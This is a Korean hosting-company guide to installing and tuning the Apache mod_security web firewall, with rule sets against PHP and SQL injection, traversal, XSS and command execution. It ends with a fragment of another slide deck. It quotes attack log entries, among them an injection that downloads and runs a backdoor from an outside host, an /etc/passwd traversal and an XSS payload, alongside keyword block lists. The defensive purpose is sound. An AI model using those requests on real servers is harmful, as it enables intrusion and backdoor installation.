목 차 1. 웹방화벽 기능 소개 2. mod_security 설치 가) apache 1.3 에서 mod_security 설치 나) apache 2.0 에서 mod_security 설치 3. 기본설정 4. 사용자 룰 설정 5. 주요 웹공격 룰 설정 가) PHP Injec

Size: px

Start display at page:

Download "목 차 1. 웹방화벽 기능 소개 2. mod_security 설치 가) apache 1.3 에서 mod_security 설치 나) apache 2.0 에서 mod_security 설치 3. 기본설정 4. 사용자 룰 설정 5. 주요 웹공격 룰 설정 가) PHP Injec"

승아 소
8 years ago
Views:

1 MOD_SECURITY Ver (주) 스마일서브 고객 기술지원팀 ( ) security@smileserv.com

2 목 차 1. 웹방화벽 기능 소개 2. mod_security 설치 가) apache 1.3 에서 mod_security 설치 나) apache 2.0 에서 mod_security 설치 3. 기본설정 4. 사용자 룰 설정 5. 주요 웹공격 룰 설정 가) PHP Injection 공격 차단 나) 커맨드 실행결과를 출력 필터에서 차단 다) SQL Injection 공격 차단 라) Directory traversal 공격 차단 마) XSS(Cross Site Scripting) 공격 차단 바) 시스템 명령어 실행 차단 사) 버퍼오버플로우 공격 차단 아) 파일 업로드 제한 자) Google 해킹 차단 6. 기타정보

3 1. 웹방화벽 기능 소개 - HTTP의 posting 악용이나 buffer overflow등의 공격, 웹의 취약점을 이용한 SQL injection / php injection 등의 공격을 drop할수있는기능을 제공하며, 설치후 로그를 분석하여 공격형태및 패턴을 분석하여 룰을 작성할수 있는 아파치의 모듈의 일종 o 요청(request) 필터링 - 클라이언트로부터 웹요청이 들어올 때 웹서버 또는 다른 모듈들이 처리하기 전에 ModSecurity 가 요청 내용을 분석하여 사전에 필터링한다. o 우회 방지 기술 - 경로와 파라미터를 분석하기 전에 정규화시켜 우회 공격을 차단한다. - 즉, //, \/,., %00 등 우회 공격용 스트링을 제거하고, 인코딩된 URL을 디코딩한다. o HTTP 프로토콜 이해 - 엔진이 HTTP 프로토콜을 이해하기 때문에 아주 전문적이고 미세한 필터링을 수행할 수 있다. o POST 페이로드(payload) 분석 - GET 방식 뿐만 아니라 POST 메소드를 사용해서 전송되는 컨텐츠도 가로채어 분석할 수 있다. o 감사 로깅 - POST를 포함하여 모든 요청의 모든 상세한 부분들까지 추후 분석을 위해서 로깅될 수 있다. - MosSecurity에서 차단기능을 비활성화시킨 후, 강력한 로깅 기능만으로 침입탐지 시스템 역할 을 수행할 수 있도록 한다. o HTTPS 필터링 엔진은 웹서버에 임베디드되어 있기 때문에 복호화 한 후에 요청 데이터에 접근하여 HTTPS 를 통한 공격도 필터링할 수 있다. 2. mod_security 설치 o 다운로드 주소 apache1.3 = modsecurity-apache_1.9.x.tar.gz apache2.0이상 = modsecurity-apache_2.1.x.tar.gz 가) apache1.3 에서 mod_security 설치 # 압축을 푼다 $ tar -zxvf modsecurity-apache1.9.x.tar.gz; # apxs 를 이용 모듈을 적재한다 $ /usr/local/$apache_src/bin/apxs -aic modsecurity-apache_src/apache1/mod_security.c

4 # httpd.conf 하단에 아래내용을 넣는다. include conf/mod_security.conf # mod_security.conf 파일을 열어서 설정파일을 작성 vi $apache_src/conf/mod_security.conf # 설정이 올바른지 검사한다. $ $apache_src/bin/httpd -t Syntax ok # 아파치 데몬을 재시작한다. $ apache_src/bin/apachectl restart =========================================================== 나) apache 2.0 에서 mod_security 설치 # 압축을 푼다 $ tar -zxvf modsecurity-apache_2.x.x.tar.gz; # 압축을 푼 모듈소스로 이동한다. $ cd modsecurity-apache_2.x.x/apache2 # Makefile 을 수정하여 실제 아파치 설치위치로 수정해준다. $ vi Makefile # apache2 설치위치로 수정 top_dir = /usr/local/apache2 -> 실제 아파치 설치위치로 수정 # 컴파일후 설치한다. $ make ; make install; # 설치후 /$apache-src/modules/mod_security2.so 존재해야함 # httpd.conf 하단에 아래내용을 넣는다. LoadFile /usr/lib/libxml2.so LoadModule security2_module modules/mod_security2.so include conf/mod_security.conf # mod_security.conf 설정파일 작성 vi $apache_src/conf/mod_security.conf # 설정이 올바른지 검사한다. $ $apache_src/bin/httpd -t Syntax ok # 아파치 데몬을 재시작한다. $ apache_src/bin/apachectl restart

5 3. 기본설정 o SecFilterEngine On ModSecurity 기능을 활성화(enable) 시킨다. - On : ModSecurity 기능 활성화 - Off : ModSecurity 기능 비활성화 ModSecurity 제거할 경우에는 SecFilterEngine 지시자를 Off"로 설정 o SecFilterDefaultAction "pass,log" 기본적으로 룰이 매치 될 경우 행위(Action) 지정 SecFilterDefaultAction "행위" 행위 : deny, pass, allow, status:apache error code 룰이 요청에 일치하면 하나 또는 그 이상의 행위(action)가 발생된다. 각각의 필터별로 행위를 정의할 수 있지만 모든 필터들을 위한 기본 행위 집합을 정의하면 편리 하다. 모든 필터에 적용될 수 있는 디폴트 행위는 SecFilterDefaultAction 지시자로 정의할 수 있 다. 위의 예는 각 룰에 일치할경우 접속요청을 차단하고, 로그를 남기고, 상태코드 404 보내는 예 이다 하지만, ModSecurity를 처음 설치한 후 설정을 튜닝하는 과정에서는 log,pass"와 같이 로 그만 남기고 실제 차단하지 않게 할 수도 있다. 왜냐하면 정상적인 웹 요청이 차단될 수 있으므로 먼저 로그에서 이러한 정상적인 요청이 필터와 일치하여 차단될 수 있는지 검증할 필요가 있다 앞서 SecFilterDefaultAction 지시자로 필터링 규칙에 일치할 경우 기본적으로 어떤 행위 (Action) 를 하게 할 것인지에 대해 간단히 알아보았다. 그러면 필터링 규칙에 일치할 경우 일 어날 수 있는 행위의 종류에 대해 알아보자. 먼저, 행위는 다음과 같은 3 가지 종류로 나눌 수 있다. 구 분 Primary action 설 명 요청을 계속 진행할 것인지 차단할 것인지를 결정하는 것으로, deny, pass, redirect 중 하나를 선택한다. Secondary actions Primary action 에 의한 결정과는 독립적으로 수행되는 것으로 exec 와 같은 몇 개의 secondary action 들이 있다. Flow actions 필터 룰의 흐름을 변경할 수 있는 것으로 다른 룰로 점프하게 하거나 몇 개의 룰을 건너 띄게 할 수 있다. Flow action 에는 chain 과 skip 이 있다. 앞서 SecFilterDefaultAction 지시자에 의한 기본 적용 action 의 예에서는 콤마(,) 로 구분된 3개의 action 을 정의하고 있다. 취할 수 있는 대표적인 행위는 다음 표와 같다.

6 행위 pass 설 명 필터에 일치할 경우 요청을 그냥 허용한다. 이 action 은 아무런 행위를 하지 않고 그냥 로그만 남겨 침입을 모니터링하거나 초기 환경설정시 유용할 수 있다. 예) SecFilter KEYWORD "log,pass" allow pass 에 비해 좀더 강력한 버전으로 이 action 이 수행된 후 다른 필터는 적용시 키지 않고 곧바로 요청을 허용하게 된다. 예) SecFilterSelective REMOTE_ADDR "^192\.168\.2\.99$" allow 위의 예는 관리자 컴퓨터( ) 에서의 접속은 항상 허용하도록 하고 있 다. Deny status 필터가 일치할 경우 요청 처리를 차단한다. 상태 action(status) 이 명시적으로 같 이 사용되지 않으면 ModSecurity 는 HTTP 500 error code" 를 반환한다. 요청이 거부되었을 경우 HTTP 상태를 제공한다. 예) SecFilter KEYWORD "deny,status:404" redirect 필터가 일치하면 사용자를 주어진 URL 로 리다이렉트 시킨다. 예) SecFilter KEYWORD "redirect: exec log nolog pause auditlog noauditlog 필터가 일치하면 특정 바이너리를 실행시킨다. 실행될 파일은 전체 경로를 지정 해 주어야 한다. 예) SecFilter KEYWORD "exec:/home/ivanr/report-attack.pl" 아파치 에러 로그(error_log) 에 기록한다. 필터가 일치해도 기록하지 않으며, audit logging" 도 일어나지 않도록 한다. 요청에 대한 응답을 하기 전에 정의된 수 milliseconds 동안 중지시킨다. 이는 웹 스캐너를 느리게 하거나 완전히 교란시킴으로써 스캔 공격을 억제시킬 수도 있다. 어떤 스캐너는 중지 시간이 너무 길면 스캐닝을 포기한다. 트랜젝션 정보를 audit log(secauditlog 지시자에 의해 파일명 지정) 에 기록한다. 트랜젝션 정보를 audit log 에 기록하지 않는다. o SecFilterScanPOST On POST 메소드의 payload를 점검한다. ModSecurity는 다음과 같은 2가지 타입으로 인코딩된 Request body를 지원한다. o application/x-www-form-urlencoded (Form 데이터 전송시 사용) o multipart/form-data (파일 전송시 사용) 다른 인코딩 타입은 대부분의 웹 어플리케이션에서 사용되지는 않는다. o SecAuditEngine RelevantOnly SecAuditLog logs/mod_security.log

7 표준 아파치 로깅은 특정 사용자나 공격자를 추적하기 위해서 부족한 면이 있다. ModSecurity는 SecAuditEngine 지시자를 통해 아파치의 기본 로그 파일(access_log, error_log) 보다 좀 더 상세한 공격 관련 정보를 제공해 줄 수 있다. SecAuditEngine이 사용할 수 있는 파라메터는 다음과 같다. o On : 모든 요청에 대해 로그를 남김 o Off : 어떠한 요청에 대해서도 로그를 남기지 않음 o RelevantOnly : 필터에 일치하는 요청에 대해서만 로그를 남김 o SecFilterCheckURLEncoding On 인코딩된 문자를 일반 텍스트 문자로 변환 가령, 16진수로 인코딩된 %AB 형태를 일반 텍스트로 변환함 4. 사용자 룰 설정 필터링 엔진이 활성화되면 유입되는 모든 요청이 웹서버에 의해 처리되어지기 전에 가로채어지 고 분석 되어진다. 앞서 환경설정 지시자들에 의해 웹요청 형태가 유효한지 등이 점검된 후 두 번 째 단계로 웹요청은 일련의 사용자 정의 필터를 거치게 된다. o SecUploadDir /tmp ModSecurity는 POST 요청과 multipart/form-data 인코딩을 통하거나 PUT 요청을 통한 파일업로드를 가로채어 점검할 수 있는 기능이 있다. ModSecurity는 항상 임시 디렉토리에 파일들을 업로드하게 하는데, 이때 SecUploadDir 지시자 를 사용하여 임시 디렉토리를 선택할 수 있다. o SecServerSignature "Microsoft-IIS/5.0" 웹서버는 기본적으로 HTTP 응답에 서버의 정보를 실어서 보낸다. 이 정보는 공격자들이 공격하 기 위한 기본 정보가 될 수 있다. 따라서, 이 정보를 SecServerSignature 지시자를 이용하여 바 꿈으로써 공격자를 혼돈스럽게 할 수 있다. o SecFilterDebugLog logs/modsec_debug_log o SecFilterDebugLog 지시자는 디버깅 결과를 어디에 기록할 것인지를 정의한다. 위치를 지정해 주는 파라메터가 슬래쉬(/)로 시작하지 않으면 아파치 홈디렉토리로 부터의 상대경로를 의미한다.

8 5. 주요 웹공격 룰 설정 가) PHP Injection 공격 차단 최근 아파치 웹서버 공격에 많이 이용되고 있는 제로보드 PHP Injection 공격이 어떠한 방법으로 이루어지는지 다음의 공격 로그를 통해 확인할 수 있다. victim.com-access_log:xxx.xxx [30/Aug/2005:06:23: ] "GET /bbs//include/write.php?dir= w.xxx.com/0/r0nin;chmod%204777%20r0nin;./r0nin HTTP/1.1" 공격자는 제로보드의 PHP Injection 취약점을 이용하여 브라질 사이트에 위치한 해킹 프로그램 을 피해시스템에서 실행시켰다. 또한 이 해킹프로그램을 통해 /tmp 디렉토리에 "r0nin" 이라는 백도어를 설치하였다. 이러한 공격은 최근 국내에서 대규모로 발생되고 있는 웹 변조 사고의 전 형적인 예이다. ModSecurity를 이용하여 이러한 형태의 공격에 대한 차단 방안을 알아보자. 먼저, 공격자가 외부 사이트로 부터의 소스 실행을 막고, id", "wget" 등 공격에 이용되는 명령 사용을 차단한다. # 파라메터에 URL이 들어 있는 요청을 차단 SecFilterSignatureAction "log,deny,msg:'php Injection Attacks'" SecFilterSelective ARGS_VALUES "^ # 파라메터에 ls", "id", "pwd", "wget" 등의 키워드가 있을 경우 차단 SecFilterSignatureAction "log,deny,msg:'command execution attack'" SecFilterSelective ARGS_VALUES ";[[:space:]]*(ls id pwd wget)" 나) 커맨드 실행 결과를 출력 필터에서 차단 # "id" 명령의 출력 결과 차단 SecFilterSelective OUTPUT "uid=[[:digit:]]+$[[:alnum:]]+$ gid=[[:digit:]]$[[:alnum:]]+$" # "ls -l" 명령의 출력 결과 차단 SecFilterSelective OUTPUT "total [[:digit:]]+" # "wget" 명령의 출력 결과 차단 SecFilterSelective OUTPUT "HTTP request sent, awaiting response" 위의 설정에 의해 제로보드의 PHP Injection 취약점을 공격하였을 경우 다음과 같이 차단되는 것 을 확인할 수 있다. [Mon Mar 06 10:07: ] [error] [client xxx.xxx ] mod_security: Access denied with code 403. Pattern match "^ at ARGS_VALUES("dir") [msg "PHP Injection Attacks"] [hostname "victim_ip"] [uri "/new/bbs/include/write.php?dir=

9 그 외에도 전역변수 GLOBALS를 이용한 공격을 막기 위해서는 다음과 같이 설정한다. SecFilterSelective ARGS_NAMES "(^globals\[ ^globals$)" 다) SQL Injection 공격 차단 최근 중국발 공격 등 많은 공격이 SQL Injection 취약점을 이용한 공격이다. 다음과 같이 DB Query 를 통해 DB에 대한 삭제, 추가, 열람시도 등을 차단하는 것이 바람직하다. ## SQL Injection Attacks SecFilterSignatureAction "log,deny,msg:'sql Injection attack'" # Generic SecFilterSelective ARGS "delete[[:space:]]+from" SecFilterSelective ARGS "drop[[:space:]]+database" SecFilterSelective ARGS "drop[[:space:]]+table" SecFilterSelective ARGS "drop[[:space:]]+column" SecFilterSelective ARGS "drop[[:space:]]+procedure" SecFilterSelective ARGS "create[[:space:]]+table" SecFilterSelective ARGS "update.+set.+=" SecFilterSelective ARGS "insert[[:space:]]+into.+values" SecFilterSelective ARGS "select.+from" SecFilterSelective ARGS "bulk[[:space:]]+insert" SecFilterSelective ARGS "union.+select" SecFilterSelective ARGS "or.+1[[:space:]]*=[[:space:]]1" SecFilterSelective ARGS "alter[[:space:]]+table" SecFilterSelective ARGS "or 1=1--'" SecFilterSelective ARGS "'.+--" # MySQL SecFilterSelective ARGS "into[[:space:]]+outfile" SecFilterSelective ARGS "load[[:space:]]+data SecFilterSelective ARGS "/\*.+\*/" 위의 설정에 의해 SQL Injection 공격시도가 아래와 같이 차단된다. Mon Mar 06 09:57: ] [error] [client xxx.xxx ] mod_security: Warning. Pattern match "delete[[:space:]]+from" at QUERY_STRING [msg "SQL Injection attack"] [hostname "victim_ip"] [uri "/new/bbs/zboard.php?id=bbs&no=24'delete%20from"] 라) Directory traversal 공격 차단 일반적인 웹 요청에서../ 와 같은 경로는 필요치 않다. 이는 웹을 통해 /etc/passwd와 같이 비 정상적인 웹요청을 위한 경우가 많으므로 차단하는 것이 바람직하다.../ 를 차단하기 위해 다음 과 같은 설정을 한다.

10 SecFilter "\.\./" 위의 설정에 의해 directory traversal 공격 시도시 다음과 같이 차단되는 것을 확인할 수 있다. [Mon Mar 06 09:52: ] [error] [client xxx.xxx ] mod_security: Access denied with code 403. Error normalising REQUEST_URI: Invalid character detected[0] [hostname "victim_ip"] [uri "/cgi-bin/quickstore.cgi?page=../../../../../../../../../../etc/passwd%00html&cart_id="] 마) XSS(Cross Site Scripting) 공격 차단 XSS는 웹 페이지에 JavaScript와 같은 악성 스크립트를 삽입하여 다른 웹 접속자가 이를 실행시 키게 하는 공격이다. 이 공격에 대한 방어는 파라메터 필터링인데 다음과 같이 설정할 수 있다. SecFilterSignatureAction "log,deny,msg:'xss attack'" SecFilterSelective ARGS "<script" SecFilterSelective ARGS "javascript:" SecFilterSelective ARGS "vbscript:" SecFilterSelective ARGS "document\.cookie" SecFilterSelective ARGS "document\.location" SecFilterSelective ARGS "document\.write" 위의 예는 자바스크립트, 비주얼베이직 스크립트 등 스크립트 코드를 차단하고, 스크립트에 의해 쿠키 정보가 노출되는 것을 방지하고 있다. XSS 공격 시도가 다음과 같이 차단되는 것을 확인할 수 있다. [Mon Mar 06 09:51: ] [error] [client xxx.xxx ] mod_security: Access denied with code 403. Pattern match "^$" at HEADER("Accept") [hostname "victim_ip"] [uri "/cgi-bin/auction/auction.cgi?action=sort_page&view=search&page=0&cat_id=&lang=engli sh&search=all&terms=<script>alert('vulnerable');</script>&where=&sort=photo&dir="] 바) 시스템 명령어 실행 차단 공격자는 웹을 통해 시스템 디렉토리의 바이너리 파일을 실행하는 경우가 있다. 따라서 웹요청에 다음과 같이 "bin/" 키워드가 있을경우나 ls", "id", "pwd", "wget" 등 공격에 많이 이용되고있는 시스템 명령을 차단시킨다 SecFilterSelective ARGS "bin/" SecFilterSelective ARGS_VALUES ";[[:space:]]*(ls id pwd wget)" 사) 버퍼오버플로우 공격 차단 버퍼오버플로우 공격은 입력값의 크기를 제한하지 않아 입력 버퍼를 넘치게 하여 특정 코드를 실 행하게 하는 공격이다. 따라서 다음과 같이 사용자 요청 스트링의 크기를 제한하여 이를 방어할 수 있다.

11 SecFilterByteRange 아) 파일 업로드 제한 파일 업로드를 제한하고 특정 폴더에서만 파일 업로드를 허용할 수 있다. 아래 예에서는 /upload.php" 이하에서만 파일 업로드가 가능하다. SecFilterSelective HTTP_CONTENT_TYPE multipart/form-data <Location /upload.php> SecFilterInheritance Off </Location> 자) Google 해킹 차단 # 취약점이 존재하는 Gravity Board 의 레퍼럴을 차단 SecFilterSelective HTTP_Referer Powered by Gravity Board - 차단시 로그 mod_security-action: 403 mod_security-message: Access denied with code 403. Reffered match "Powered by Gravity Board" at REQUEST_URI [msg "PHPMyAdmin attack"] [severity "EMERGENCY"] # php 시스템정보 파일열람이 가능한 url 검색시 이를 허용치 않음 SecFilterSelective HTTP_Referer "inurl\.*phpsysinfo.*created by phpsysinfo" - 차단시 로그 mod_security-action: 403 mod_security-message: Access denied with code 403. Reffered match "inurl\.*phpsysinfo.*created by phpsysinfo" at REQUEST_URI [msg "PHPMyAdmin attack"] [severity "EMERGENCY"] - 지금까지 언급한 내용외에도 mod_security 의 다양한 기능들이 있습니다. 따라서 공격로그등을 분석하여 룰셋 설정을 할 수 있습니다.

12 6. 기타정보 o 전세계 침해사고의 70% 이상이 웹해킹으로 이루어지며, 초보침입자들도 매우 손쉽게 시도할 수 있으며, 성공가능성도 매우 높습니다. 만약 단순히 게시판의 패치를 하지 않았 을 경우 패치이전의 취약점이 Injection 계열의 취약점이 존재할 경우 url 한줄만으로도 매우 큰 피해를 입힐 수 있으며, php 등 프로그래밍 언어로 할 수 있는 모든 기능을 구현 할수 있습니다. 지금 현재도 웹공격기법은 꾸준히 발전하고 있으며, 자동화되고 있으며, 대량화 되어 가고 있는 실정입니다. 실제 예로써 웹해킹의 경우 웹소스의 버그로 인해 발생하는 경우가 대부분이므로 버그수 정이나 웹방화벽을 통해 보완하지 않을 경우 또다시 고스란히 피해를 안게됩니다. 이 경 우 반드시 의뢰주셔서 웹취약점 전문스캐너를 통해 웹취약점을 점검한이후 점검결과를 보내드리면 웹취약점 결과에 어느파일에 어떠한 보안버그가 있는지를 알 수 있으며, 버 그를 수정하여 주신후 웹방화벽을 설치하게 되면 웹보안에 매우 좋습니다. 이후 지속적 으로 관리를 잘해주신다면 웹해킹에 대한 취약점은 확연히 줄어들 것입니다. o 참조 정보 페이지 문서 참조 : KISA

<4D F736F F F696E74202D204D6F B7CEB1D7BAD0BCAEB9D7B0EDB1DEB7EABCB3C1A42DC8ABBCAEB9FC2E BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D204D6F B7CEB1D7BAD0BCAEB9D7B0EDB1DEB7EABCB3C1A42DC8ABBCAEB9FC2E BC8A3C8AF20B8F0B5E55D> Modsecurity 로그분석및 고급룰설정 오늘과내일홍석범 antihong@tt.co.kr 적용여부확인방법 차단은되는것같은데, 로그가남지않는다? error_log : [Fri Oct 19 11:24:04 2007] [error] ModSecurity: ModSecurity requires mod_unique_id to be installed. modsec_audit.log